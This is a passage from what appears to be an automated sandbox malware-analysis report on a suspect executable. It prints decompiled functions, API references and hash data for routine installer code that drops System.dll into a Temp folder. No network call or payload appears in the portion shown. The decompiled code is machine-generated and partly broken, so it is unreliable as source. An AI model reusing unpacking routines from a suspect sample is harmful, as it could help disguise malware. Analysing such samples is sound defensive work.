                                                                                                        0x00401f45
                                                                                                        0x00401f2b
                                                                                                        0x00401f48
                                                                                                        0x00401b75
                                                                                                        0x00401b75
                                                                                                        0x00401efd
                                                                                                        0x0040288e
                                                                                                        0x0040289a

                                                                                                        APIs
                                                                                                        • GetFileVersionInfoSizeA.VERSION(00000000,?,000000EE), ref: 00401ED4
                                                                                                        • GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401EF2
                                                                                                        • GetFileVersionInfoA.VERSION(?,?,?,00000000), ref: 00401F0B
                                                                                                        • VerQueryValueA.VERSION(?,00409010,?,?,?,?,?,00000000), ref: 00401F24
                                                                                                          • Part of subcall function 00405AC4: wsprintfA.USER32 ref: 00405AD1
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
                                                                                                        • String ID:
                                                                                                        • API String ID: 1404258612-0
                                                                                                        • Opcode ID: be50ba22476c795dccddfbd46c0b19e6aec7ed87346bdfd2eed6167faf837e67
                                                                                                        • Instruction ID: 178fa6cf4330108057832d0c189c0e5a27020503733a18e797ef1cc5e9d7aef6
                                                                                                        • Opcode Fuzzy Hash: be50ba22476c795dccddfbd46c0b19e6aec7ed87346bdfd2eed6167faf837e67
                                                                                                        • Instruction Fuzzy Hash: 52113A71A00108BEDB01EFA5DD819AEBBB9EB48344B20853AF501F61E1D7389A54DB28
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 67%
                                                                                                        			E00401D1B() {
                                                                                                        				void* __esi;
                                                                                                        				int _t6;
                                                                                                        				signed char _t11;
                                                                                                        				struct HFONT__* _t14;
                                                                                                        				void* _t18;
                                                                                                        				void* _t24;
                                                                                                        				void* _t26;
                                                                                                        				void* _t28;
                                                                                                        
                                                                                                        				_t6 = GetDeviceCaps(GetDC( *(_t28 - 0x34)), 0x5a);
                                                                                                        				0x40af74->lfHeight =  ~(MulDiv(E004029D9(2), _t6, 0x48));
                                                                                                        				 *0x40af84 = E004029D9(3);
                                                                                                        				_t11 =  *((intOrPtr*)(_t28 - 0x14));
                                                                                                        				 *0x40af8b = 1;
                                                                                                        				 *0x40af88 = _t11 & 0x00000001;
                                                                                                        				 *0x40af89 = _t11 & 0x00000002;
                                                                                                        				 *0x40af8a = _t11 & 0x00000004;
                                                                                                        				E00405B88(_t18, _t24, _t26, 0x40af90,  *((intOrPtr*)(_t28 - 0x20)));
                                                                                                        				_t14 = CreateFontIndirectA(0x40af74);
                                                                                                        				_push(_t14);
                                                                                                        				_push(_t26);
                                                                                                        				E00405AC4();
                                                                                                        				 *0x423f28 =  *0x423f28 +  *((intOrPtr*)(_t28 - 4));
                                                                                                        				return 0;
                                                                                                        			}











                                                                                                        0x00401d29
                                                                                                        0x00401d42
                                                                                                        0x00401d4c
                                                                                                        0x00401d51
                                                                                                        0x00401d5c
                                                                                                        0x00401d63
                                                                                                        0x00401d75
                                                                                                        0x00401d7b
                                                                                                        0x00401d80
                                                                                                        0x00401d8a
                                                                                                        0x004024b8
                                                                                                        0x00401561
                                                                                                        0x00402833
                                                                                                        0x0040288e
                                                                                                        0x0040289a

                                                                                                        APIs
                                                                                                        • GetDC.USER32(?), ref: 00401D22
                                                                                                        • GetDeviceCaps.GDI32(00000000), ref: 00401D29
                                                                                                        • MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D38
                                                                                                        • CreateFontIndirectA.GDI32(0040AF74), ref: 00401D8A
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: CapsCreateDeviceFontIndirect
                                                                                                        • String ID:
                                                                                                        • API String ID: 3272661963-0
                                                                                                        • Opcode ID: 2c6a9fd6684e48c72e8170f31dde3613139c4976fc228405473ba1f45ca6ba00
                                                                                                        • Instruction ID: d83410998d1654a5337f8c322709d39cf2ce3a8a4f0330bc6585c9693e616625
                                                                                                        • Opcode Fuzzy Hash: 2c6a9fd6684e48c72e8170f31dde3613139c4976fc228405473ba1f45ca6ba00
                                                                                                        • Instruction Fuzzy Hash: E1F044F1A45342AEE7016770AE0ABA93B649725306F100576F541BA1E2C5BC10149B7F
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E00403978(void* __ecx, void* __eflags) {
                                                                                                        				void* __ebx;
                                                                                                        				void* __edi;
                                                                                                        				void* __esi;
                                                                                                        				signed short _t6;
                                                                                                        				intOrPtr _t11;
                                                                                                        				signed int _t13;
                                                                                                        				signed int _t16;
                                                                                                        				signed short* _t18;
                                                                                                        				signed int _t20;
                                                                                                        				signed short* _t23;
                                                                                                        				intOrPtr _t25;
                                                                                                        				signed int _t26;
                                                                                                        				intOrPtr* _t27;
                                                                                                        
                                                                                                        				_t24 = "1033";
                                                                                                        				_t13 = 0xffff;
                                                                                                        				_t6 = E00405ADD(__ecx, "1033");
                                                                                                        				while(1) {
                                                                                                        					_t26 =  *0x423ee4;
                                                                                                        					if(_t26 == 0) {
                                                                                                        						goto L7;
                                                                                                        					}
                                                                                                        					_t16 =  *( *0x423eb0 + 0x64);
                                                                                                        					_t20 =  ~_t16;
                                                                                                        					_t18 = _t16 * _t26 +  *0x423ee0;
                                                                                                        					while(1) {
                                                                                                        						_t18 = _t18 + _t20;
                                                                                                        						_t26 = _t26 - 1;
                                                                                                        						if((( *_t18 ^ _t6) & _t13) == 0) {
                                                                                                        							break;
                                                                                                        						}
                                                                                                        						if(_t26 != 0) {
                                                                                                        							continue;
                                                                                                        						}
                                                                                                        						goto L7;
                                                                                                        					}
                                                                                                        					 *0x423680 = _t18[1];
                                                                                                        					 *0x423f48 = _t18[3];
                                                                                                        					_t23 =  &(_t18[5]);
                                                                                                        					if(_t23 != 0) {
                                                                                                        						 *0x42367c = _t23;
                                                                                                        						E00405AC4(_t24,  *_t18 & 0x0000ffff);
                                                                                                        						SetWindowTextA( *0x420478, E00405B88(_t13, _t24, _t26, 0x4236a0, 0xfffffffe));
                                                                                                        						_t11 =  *0x423ecc;
                                                                                                        						_t27 =  *0x423ec8;
                                                                                                        						if(_t11 == 0) {
                                                                                                        							L15:
                                                                                                        							return _t11;
                                                                                                        						}
                                                                                                        						_t25 = _t11;
                                                                                                        						do {
                                                                                                        							_t11 =  *_t27;
                                                                                                        							if(_t11 != 0) {
                                                                                                        								_t11 = E00405B88(_t13, _t25, _t27, _t27 + 0x18, _t11);
                                                                                                        							}
                                                                                                        							_t27 = _t27 + 0x418;
                                                                                                        							_t25 = _t25 - 1;
                                                                                                        						} while (_t25 != 0);
                                                                                                        						goto L15;
                                                                                                        					}
                                                                                                        					L7:
                                                                                                        					if(_t13 != 0xffff) {
                                                                                                        						_t13 = 0;
                                                                                                        					} else {
                                                                                                        						_t13 = 0x3ff;
                                                                                                        					}
                                                                                                        				}
                                                                                                        			}
















                                                                                                        0x0040397c
                                                                                                        0x00403981
                                                                                                        0x00403987
                                                                                                        0x0040398c
                                                                                                        0x0040398c
                                                                                                        0x00403994
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040399c
                                                                                                        0x004039a4
                                                                                                        0x004039a6
                                                                                                        0x004039ac
                                                                                                        0x004039ac
                                                                                                        0x004039ae
                                                                                                        0x004039ba
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004039be
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004039c0
                                                                                                        0x004039c5
                                                                                                        0x004039ce
                                                                                                        0x004039d4
                                                                                                        0x004039d9
                                                                                                        0x004039ed
                                                                                                        0x004039f8
                                                                                                        0x00403a10
                                                                                                        0x00403a16
                                                                                                        0x00403a1b
                                                                                                        0x00403a23
                                                                                                        0x00403a44
                                                                                                        0x00403a44
                                                                                                        0x00403a44
                                                                                                        0x00403a25
                                                                                                        0x00403a27
                                                                                                        0x00403a27
                                                                                                        0x00403a2b
                                                                                                        0x00403a32
                                                                                                        0x00403a32
                                                                                                        0x00403a37
                                                                                                        0x00403a3d
                                                                                                        0x00403a3d
                                                                                                        0x00000000
                                                                                                        0x00403a27
                                                                                                        0x004039db
                                                                                                        0x004039e0
                                                                                                        0x004039e9
                                                                                                        0x004039e2
                                                                                                        0x004039e2
                                                                                                        0x004039e2
                                                                                                        0x004039e0

                                                                                                        APIs
                                                                                                        • SetWindowTextA.USER32(00000000,004236A0), ref: 00403A10
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: TextWindow
                                                                                                        • String ID: 1033$C:\Users\user\AppData\Local\Temp\
                                                                                                        • API String ID: 530164218-517883005
                                                                                                        • Opcode ID: defed7287a9455a29b24b67e45bb8aa9d1031aed7a359321573c6b72916d69ed
                                                                                                        • Instruction ID: 09623374405f0611f065d620c03919b516a5f167df25bc0d5edc66fe9dc562c0
                                                                                                        • Opcode Fuzzy Hash: defed7287a9455a29b24b67e45bb8aa9d1031aed7a359321573c6b72916d69ed
                                                                                                        • Instruction Fuzzy Hash: F611C2B1B005109BC730DF15D880A73767DEB84716369413BE94167391C77EAE028E58
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E00404E54(struct HWND__* _a4, int _a8, int _a12, long _a16) {
                                                                                                        				long _t22;
                                                                                                        
                                                                                                        				if(_a8 != 0x102) {
                                                                                                        					if(_a8 != 0x200) {
                                                                                                        						_t22 = _a16;
                                                                                                        						L7:
                                                                                                        						if(_a8 == 0x419 &&  *0x420488 != _t22) {
                                                                                                        							 *0x420488 = _t22;
                                                                                                        							E00405B66(0x4204a0, 0x424000);
                                                                                                        							E00405AC4(0x424000, _t22);
                                                                                                        							E0040140B(6);
                                                                                                        							E00405B66(0x424000, 0x4204a0);
                                                                                                        						}
                                                                                                        						L11:
                                                                                                        						return CallWindowProcA( *0x420490, _a4, _a8, _a12, _t22);
                                                                                                        					}
                                                                                                        					if(IsWindowVisible(_a4) == 0) {
                                                                                                        						L10:
                                                                                                        						_t22 = _a16;
                                                                                                        						goto L11;
                                                                                                        					}
                                                                                                        					_t22 = E004047D3(_a4, 1);
                                                                                                        					_a8 = 0x419;
                                                                                                        					goto L7;
                                                                                                        				}
                                                                                                        				if(_a12 != 0x20) {
                                                                                                        					goto L10;
                                                                                                        				}
                                                                                                        				E00403F64(0x413);
                                                                                                        				return 0;
                                                                                                        			}




                                                                                                        0x00404e60
                                                                                                        0x00404e85
                                                                                                        0x00404ea5
                                                                                                        0x00404ea8
                                                                                                        0x00404eab
                                                                                                        0x00404ec2
                                                                                                        0x00404ec8
                                                                                                        0x00404ecf
                                                                                                        0x00404ed6
                                                                                                        0x00404edd
                                                                                                        0x00404ee2
                                                                                                        0x00404ee8
                                                                                                        0x00000000
                                                                                                        0x00404ef8
                                                                                                        0x00404e92
                                                                                                        0x00404ee5
                                                                                                        0x00404ee5
                                                                                                        0x00000000
                                                                                                        0x00404ee5
                                                                                                        0x00404e9e
                                                                                                        0x00404ea0
                                                                                                        0x00000000
                                                                                                        0x00404ea0
                                                                                                        0x00404e66
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00404e6d
                                                                                                        0x00000000

                                                                                                        APIs
                                                                                                        • IsWindowVisible.USER32(?), ref: 00404E8A
                                                                                                        • CallWindowProcA.USER32 ref: 00404EF8
                                                                                                          • Part of subcall function 00403F64: SendMessageA.USER32 ref: 00403F76
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: Window$CallMessageProcSendVisible
                                                                                                        • String ID:
                                                                                                        • API String ID: 3748168415-3916222277
                                                                                                        • Opcode ID: 1a28ca64547386e1a64dd11c64f6ae458e1df03769ff3acb3952d776ac0a4b66
                                                                                                        • Instruction ID: 62f3a1a08e098275047049d4f9968a6b4933f6b7f921e7009373277d82a30415
                                                                                                        • Opcode Fuzzy Hash: 1a28ca64547386e1a64dd11c64f6ae458e1df03769ff3acb3952d776ac0a4b66
                                                                                                        • Instruction Fuzzy Hash: D1116D71900208BBDB21AF52DC4499B3669FB84369F00803BF6047A2E2C37C5A519BAD
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E004024BE(struct _OVERLAPPED* __ebx, intOrPtr* __esi) {
                                                                                                        				int _t5;
                                                                                                        				long _t7;
                                                                                                        				struct _OVERLAPPED* _t11;
                                                                                                        				intOrPtr* _t15;
                                                                                                        				void* _t17;
                                                                                                        				int _t21;
                                                                                                        
                                                                                                        				_t15 = __esi;
                                                                                                        				_t11 = __ebx;
                                                                                                        				if( *((intOrPtr*)(_t17 - 0x1c)) == __ebx) {
                                                                                                        					_t7 = lstrlenA(E004029F6(0x11));
                                                                                                        				} else {
                                                                                                        					E004029D9(1);
                                                                                                        					 *0x409f70 = __al;
                                                                                                        				}
                                                                                                        				if( *_t15 == _t11) {
                                                                                                        					L8:
                                                                                                        					 *((intOrPtr*)(_t17 - 4)) = 1;
                                                                                                        				} else {
                                                                                                        					_t5 = WriteFile(E00405ADD(_t17 + 8, _t15), "C:\Users\jones\AppData\Local\Temp\nsm5CFC.tmp\System.dll", _t7, _t17 + 8, _t11);
                                                                                                        					_t21 = _t5;
                                                                                                        					if(_t21 == 0) {
                                                                                                        						goto L8;
                                                                                                        					}
                                                                                                        				}
                                                                                                        				 *0x423f28 =  *0x423f28 +  *((intOrPtr*)(_t17 - 4));
                                                                                                        				return 0;
                                                                                                        			}









                                                                                                        0x004024be
                                                                                                        0x004024be
                                                                                                        0x004024c1
                                                                                                        0x004024dc
                                                                                                        0x004024c3
                                                                                                        0x004024c5
                                                                                                        0x004024ca
                                                                                                        0x004024d1
                                                                                                        0x004024e3
                                                                                                        0x0040265c
                                                                                                        0x0040265c
                                                                                                        0x004024e9
                                                                                                        0x004024fb
                                                                                                        0x004015a6
                                                                                                        0x004015a8
                                                                                                        0x00000000
                                                                                                        0x004015ae
                                                                                                        0x004015a8
                                                                                                        0x0040288e
                                                                                                        0x0040289a

                                                                                                        APIs
                                                                                                        • lstrlenA.KERNEL32(00000000,00000011), ref: 004024DC
                                                                                                        • WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nsm5CFC.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 004024FB
                                                                                                        Strings
                                                                                                        • C:\Users\user\AppData\Local\Temp\nsm5CFC.tmp\System.dll, xrefs: 004024CA, 004024EF
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: FileWritelstrlen
                                                                                                        • String ID: C:\Users\user\AppData\Local\Temp\nsm5CFC.tmp\System.dll
                                                                                                        • API String ID: 427699356-2581482746
                                                                                                        • Opcode ID: 02a15bd42c28bed1fb8554f3d16374f042fc662dbffd218bbabce7ee12e12458
                                                                                                        • Instruction ID: 2c1f07a632d72534084a5ac00d75746702f795d1104bf50e8da4b719a2e94720
                                                                                                        • Opcode Fuzzy Hash: 02a15bd42c28bed1fb8554f3d16374f042fc662dbffd218bbabce7ee12e12458
                                                                                                        • Instruction Fuzzy Hash: BCF08972A44245FFD710EBB19E49EAF7668DB00348F14443BB142F51C2D6FC5982976D
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E0040361A() {
                                                                                                        				void* _t2;
                                                                                                        				void* _t3;
                                                                                                        				void* _t6;
                                                                                                        				void* _t8;
                                                                                                        
                                                                                                        				_t8 =  *0x41f45c;
                                                                                                        				_t3 = E004035FF(_t2, 0);
                                                                                                        				if(_t8 != 0) {
                                                                                                        					do {
                                                                                                        						_t6 = _t8;
                                                                                                        						_t8 =  *_t8;
                                                                                                        						FreeLibrary( *(_t6 + 8));
                                                                                                        						_t3 = GlobalFree(_t6);
                                                                                                        					} while (_t8 != 0);
                                                                                                        				}
                                                                                                        				 *0x41f45c =  *0x41f45c & 0x00000000;
                                                                                                        				return _t3;
                                                                                                        			}







                                                                                                        0x0040361b
                                                                                                        0x00403623
                                                                                                        0x0040362a
                                                                                                        0x0040362d
                                                                                                        0x0040362d
                                                                                                        0x0040362f
                                                                                                        0x00403634
                                                                                                        0x0040363b
                                                                                                        0x00403641
                                                                                                        0x00403645
                                                                                                        0x00403646
                                                                                                        0x0040364e

                                                                                                        APIs
                                                                                                        • FreeLibrary.KERNEL32(?,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,00000000,73BCF560,004035F1,00000000,0040342D,00000000), ref: 00403634
                                                                                                        • GlobalFree.KERNEL32 ref: 0040363B
                                                                                                        Strings
                                                                                                        • "C:\Users\user\Desktop\i6xFULh8J5.exe" , xrefs: 0040362C
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: Free$GlobalLibrary
                                                                                                        • String ID: "C:\Users\user\Desktop\i6xFULh8J5.exe"
                                                                                                        • API String ID: 1100898210-846625986
                                                                                                        • Opcode ID: 594683390acbace1feb38ee5af495b240e475f157c4d409b541952378f73dbd9
                                                                                                        • Instruction ID: 07f203a12dc211ea1540440f4769086933c1ddaa55d0411da1bb29b7fd771b51
                                                                                                        • Opcode Fuzzy Hash: 594683390acbace1feb38ee5af495b240e475f157c4d409b541952378f73dbd9
                                                                                                        • Instruction Fuzzy Hash: 8FE08C32804420ABC6216F55EC0579A7768AB48B22F028536E900BB3A083743C464BDC
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E004056A0(char* _a4) {
                                                                                                        				char* _t3;
                                                                                                        				char* _t5;
                                                                                                        
                                                                                                        				_t5 = _a4;
                                                                                                        				_t3 =  &(_t5[lstrlenA(_t5)]);
                                                                                                        				while( *_t3 != 0x5c) {
                                                                                                        					_t3 = CharPrevA(_t5, _t3);
                                                                                                        					if(_t3 > _t5) {
                                                                                                        						continue;
                                                                                                        					}
                                                                                                        					break;
                                                                                                        				}
                                                                                                        				 *_t3 =  *_t3 & 0x00000000;
                                                                                                        				return  &(_t3[1]);
                                                                                                        			}





                                                                                                        0x004056a1
                                                                                                        0x004056ab
                                                                                                        0x004056ad
                                                                                                        0x004056b4
                                                                                                        0x004056bc
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004056bc
                                                                                                        0x004056be
                                                                                                        0x004056c3

                                                                                                        APIs
                                                                                                        • lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402CDE,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\i6xFULh8J5.exe,C:\Users\user\Desktop\i6xFULh8J5.exe,80000000,00000003), ref: 004056A6
                                                                                                        • CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402CDE,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\i6xFULh8J5.exe,C:\Users\user\Desktop\i6xFULh8J5.exe,80000000,00000003), ref: 004056B4
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: CharPrevlstrlen
                                                                                                        • String ID: C:\Users\user\Desktop
                                                                                                        • API String ID: 2709904686-224404859
                                                                                                        • Opcode ID: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
                                                                                                        • Instruction ID: 6658d1b0ab05e5211e75f0b74aef41c49d7b43cb9628f8e009f88ad9fa15a52a
                                                                                                        • Opcode Fuzzy Hash: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
                                                                                                        • Instruction Fuzzy Hash: C5D0A772409DB02EF30352108C04B8F7A98CF17300F0948A2E440E21D0C27C5C818FFD
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E6FC710E0(void* _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
                                                                                                        				char* _t17;
                                                                                                        				char _t19;
                                                                                                        				void* _t20;
                                                                                                        				void* _t24;
                                                                                                        				void* _t27;
                                                                                                        				void* _t31;
                                                                                                        				void* _t37;
                                                                                                        				void* _t39;
                                                                                                        				void* _t40;
                                                                                                        				signed int _t43;
                                                                                                        				void* _t52;
                                                                                                        				char* _t53;
                                                                                                        				char* _t55;
                                                                                                        				void* _t56;
                                                                                                        				void* _t58;
                                                                                                        
                                                                                                        				 *0x6fc7405c = _a8;
                                                                                                        				 *0x6fc74060 = _a16;
                                                                                                        				 *0x6fc74064 = _a12;
                                                                                                        				 *((intOrPtr*)(_a20 + 0xc))( *0x6fc74038, E6FC71556, _t52);
                                                                                                        				_t43 =  *0x6fc7405c +  *0x6fc7405c * 4 << 2;
                                                                                                        				_t17 = E6FC7123B();
                                                                                                        				_a8 = _t17;
                                                                                                        				_t53 = _t17;
                                                                                                        				if( *_t17 == 0) {
                                                                                                        					L16:
                                                                                                        					return GlobalFree(_a8);
                                                                                                        				} else {
                                                                                                        					do {
                                                                                                        						_t19 =  *_t53;
                                                                                                        						_t55 = _t53 + 1;
                                                                                                        						_t58 = _t19 - 0x6c;
                                                                                                        						if(_t58 > 0) {
                                                                                                        							_t20 = _t19 - 0x70;
                                                                                                        							if(_t20 == 0) {
                                                                                                        								L12:
                                                                                                        								_t53 = _t55 + 1;
                                                                                                        								_t24 = E6FC71266(E6FC712AD( *_t55 - 0x30));
                                                                                                        								L13:
                                                                                                        								GlobalFree(_t24);
                                                                                                        								goto L14;
                                                                                                        							}
                                                                                                        							_t27 = _t20;
                                                                                                        							if(_t27 == 0) {
                                                                                                        								L10:
                                                                                                        								_t53 = _t55 + 1;
                                                                                                        								_t24 = E6FC712D1( *_t55 - 0x30, E6FC7123B());
                                                                                                        								goto L13;
                                                                                                        							}
                                                                                                        							L7:
                                                                                                        							if(_t27 == 1) {
                                                                                                        								_t31 = GlobalAlloc(0x40, _t43 + 4);
                                                                                                        								 *_t31 =  *0x6fc74030;
                                                                                                        								 *0x6fc74030 = _t31;
                                                                                                        								E6FC71508(_t31 + 4,  *0x6fc74064, _t43);
                                                                                                        								_t56 = _t56 + 0xc;
                                                                                                        							}
                                                                                                        							goto L14;
                                                                                                        						}
                                                                                                        						if(_t58 == 0) {
                                                                                                        							L17:
                                                                                                        							_t34 =  *0x6fc74030;
                                                                                                        							if( *0x6fc74030 != 0) {
                                                                                                        								E6FC71508( *0x6fc74064, _t34 + 4, _t43);
                                                                                                        								_t37 =  *0x6fc74030;
                                                                                                        								_t56 = _t56 + 0xc;
                                                                                                        								GlobalFree(_t37);
                                                                                                        								 *0x6fc74030 =  *_t37;
                                                                                                        							}
                                                                                                        							goto L14;
                                                                                                        						}
                                                                                                        						_t39 = _t19 - 0x4c;
                                                                                                        						if(_t39 == 0) {
                                                                                                        							goto L17;
                                                                                                        						}
                                                                                                        						_t40 = _t39 - 4;
                                                                                                        						if(_t40 == 0) {
                                                                                                        							 *_t55 =  *_t55 + 0xa;
                                                                                                        							goto L12;
                                                                                                        						}
                                                                                                        						_t27 = _t40;
                                                                                                        						if(_t27 == 0) {
                                                                                                        							 *_t55 =  *_t55 + 0xa;
                                                                                                        							goto L10;
                                                                                                        						}
                                                                                                        						goto L7;
                                                                                                        						L14:
                                                                                                        					} while ( *_t53 != 0);
                                                                                                        					goto L16;
                                                                                                        				}
                                                                                                        			}


















                                                                                                        0x6fc710e7
                                                                                                        0x6fc710ef
                                                                                                        0x6fc71103
                                                                                                        0x6fc7110b
                                                                                                        0x6fc71116
                                                                                                        0x6fc71119
                                                                                                        0x6fc71121
                                                                                                        0x6fc71124
                                                                                                        0x6fc71126
                                                                                                        0x6fc711c4
                                                                                                        0x6fc711d0
                                                                                                        0x6fc7112c
                                                                                                        0x6fc7112d
                                                                                                        0x6fc7112d
                                                                                                        0x6fc71130
                                                                                                        0x6fc71131
                                                                                                        0x6fc71134
                                                                                                        0x6fc71203
                                                                                                        0x6fc71206
                                                                                                        0x6fc7119e
                                                                                                        0x6fc711a4
                                                                                                        0x6fc711ac
                                                                                                        0x6fc711b1
                                                                                                        0x6fc711b4
                                                                                                        0x00000000
                                                                                                        0x6fc711b4
                                                                                                        0x6fc71209
